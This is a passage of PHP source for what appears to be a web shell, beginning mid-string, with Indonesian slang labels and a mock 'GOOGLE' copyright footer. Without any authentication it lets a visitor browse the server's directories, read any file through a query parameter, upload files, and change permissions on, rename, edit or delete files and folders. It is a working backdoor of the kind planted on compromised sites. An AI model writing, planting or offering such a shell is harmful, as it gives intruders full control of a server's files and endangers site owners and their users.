			<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
				<tr>
					<td>
						<font color="white">aku nok ndi :</font> ';

if(isset($_GET['path'])){
	$path = $_GET['path'];
} else{
	$path = getcwd();
} 
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
	if($pat == '' && $id == 0){
		$a = true;
		echo '<a href="?path=/">/</a>';
		continue;
	}
	if($pat == '') continue;
	echo '<a href="?path=';
	for($i=0;$i<=$id;$i++){
		echo "$paths[$i]";
		if($i != $id) echo "/";
	}
	echo '">'.$pat.'</a>/';
} echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
	if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
		echo '<font color="cyan">Upload Succeeded</font><br />';
	} else{
		echo '<font color="red">Upload Failed</font><br/>';
	}
} echo '<form enctype="multipart/form-data" method="POST">
		<font color="white">File Up :</font> <input type="file" name="file" />
		<input type="submit" value="aplod :v" />
		</form>
		</td>
		</tr>';

if(isset($_GET['filesrc'])){
	echo "<tr><td>aku nok ndi : ";
	echo $_GET['filesrc'];
	echo '</tr></td></table><br />';
	echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
} elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
	echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
	if($_POST['opt'] == 'chmod'){
		if(isset($_POST['perm'])){
			if(chmod($_POST['path'],$_POST['perm'])){
				echo '<font color="cyan">Change Permission Successful</font><br/>';
			} else{
				echo '<font color="red">Change Permission Failed</font><br />';
			}
		} echo '<form method="POST">
				Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
				<input type="hidden" name="path" value="'.$_POST['path'].'">
				<input type="hidden" name="opt" value="chmod">
				<input type="submit" value="Go" />
				</form>';
			} elseif($_POST['opt'] == 'rename'){
				if(isset($_POST['newname'])){
					if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
						echo '<font color="cyan">Rename Successfully</font><br/>';
					} else{
						echo '<font color="red">Rename Failed</font><br />';
					}
					$_POST['name'] = $_POST['newname'];
				} echo '<form method="POST">
						New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
						<input type="hidden" name="path" value="'.$_POST['path'].'">
						<input type="hidden" name="opt" value="rename">
						<input type="submit" value="Go" />
						</form>';
					} elseif($_POST['opt'] == 'edit'){
						if(isset($_POST['src'])){
							$fp = fopen($_POST['path'],'w');
							if(fwrite($fp,$_POST['src'])){
								echo '<font color="cyan">Successfully Edit File</font><br/>';
							} else{
								echo '<font color="red">Failed to Edit File</font><br/>';
							} fclose($fp);
						} echo '<form method="POST">
								<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
								<input type="hidden" name="path" value="'.$_POST['path'].'">
								<input type="hidden" name="opt" value="edit">
								<input type="submit" value="Save" />
								</form>';
							} echo '</center>';
						} else{
							echo '</table><br/><center>';
							if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
								if($_POST['type'] == 'dir'){
									if(rmdir($_POST['path'])){
										echo '<font color="cyan">Deleted Directory</font><br/>';
									} else{
										echo '<font color="red">Directory Failed Deleted</font><br/>';
									}
								} elseif($_POST['type'] == 'file'){
									if(unlink($_POST['path'])){
										echo '<font color="cyan">Deleted Files</font><br/>';
									} else{
										echo '<font color="red">File Failed Deleted</font><br/>';
									}
								}
							} echo '</center>';
							$scandir = scandir($path);
							echo '<div id="content">
								  <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
								 	<tr class="first">
										<td>
											<center>Name</peller></center>
										</td>
										<td>
											<center>Size</peller></center>
										</td>
										<td>
											<center>Permission</peller></center>
										</td>
										<td>
											<center>Modify</peller></center>
										</td>
									</tr>';

foreach($scandir as $dir){
	if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
	echo '<tr>
		  <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
		  <td><center>--</center></td>
		  <td><center>';
		  if(is_writable($path.'/'.$dir)) echo '<font color="cyan">';
		  elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
		  echo perms($path.'/'.$dir);
		  if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
		  echo '</center></td>
		  		<td><center><form method="POST" action="?option&path='.$path.'">
		  			<select name="opt">
		  				<option value="">Select</option>
						<option value="delete">Delete</option>
						<option value="chmod">Chmod</option>
						<option value="rename">Rename</option>
					</select>
					<input type="hidden" name="type" value="dir">
					<input type="hidden" name="name" value="'.$dir.'">
					<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
					<input type="submit" value=">">
					</form></center></td>
					</tr>';
				} echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';

foreach($scandir as $file){
	if(!is_file($path.'/'.$file)) continue;
	$size = filesize($path.'/'.$file)/1024;
	$size = round($size,3);
	if($size >= 1024){
		$size = round($size/1024,2).' MB';
	} else{
		$size = $size.' KB';
	} echo '<tr>
			<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
			<td><center>'.$size.'</center></td>
			<td><center>';

if(is_writable($path.'/'.$file)) echo '<font color="cyan">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
	  <td><center><form method="POST" action="?option&path='.$path.'">
	  <select name="opt">
	  	<option value="">Select</option>
	  	<option value="delete">Delete</option>
	  	<option value="chmod">Chmod</option>
	  	<option value="rename">Rename</option>
	  	<option value="edit">Edit</option>
	  </select>
	  <input type="hidden" name="type" value="file">
	  <input type="hidden" name="name" value="'.$file.'">
	  <input type="hidden" name="path" value="'.$path.'/'.$file.'">
	  <input type="submit" value=">">
	  </form></center></td>
	  </tr>';
	} echo '</table></div>';
} echo "<br><center>Copyright © 1945 - </body></html>" . (int)date('Y'). " GOOGLE";

function perms($file){
	$perms = fileperms($file);
	if (($perms & 0xC000) == 0xC000) {
	// Socket
		$info = 's';
	} elseif (($perms & 0xA000) == 0xA000) {
	// Symbolic Link
		$info = 'l';
	} elseif (($perms & 0x8000) == 0x8000) {
	// Regular
		$info = '-';
	} elseif (($perms & 0x6000) == 0x6000) {
	// Block special
		$info = 'b';
	} elseif (($perms & 0x4000) == 0x4000) {
	// Directory
		$info = 'd';
	} elseif (($perms & 0x2000) == 0x2000) {
	// Character special
		$info = 'c';
	} elseif (($perms & 0x1000) == 0x1000) {
	// FIFO pipe
		$info = 'p';
	} else {
	// Unknown
		$info = 'u';
	}
	// Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
		(($perms & 0x0800) ? 's' : 'x' ) :
		(($perms & 0x0800) ? 'S' : '-'));
		// Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
		(($perms & 0x0400) ? 's' : 'x' ) :
		(($perms & 0x0400) ? 'S' : '-'));
		// World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
		(($perms & 0x0200) ? 't' : 'x' ) :
		(($perms & 0x0200) ? 'T' : '-'));
	return $info;
}
?>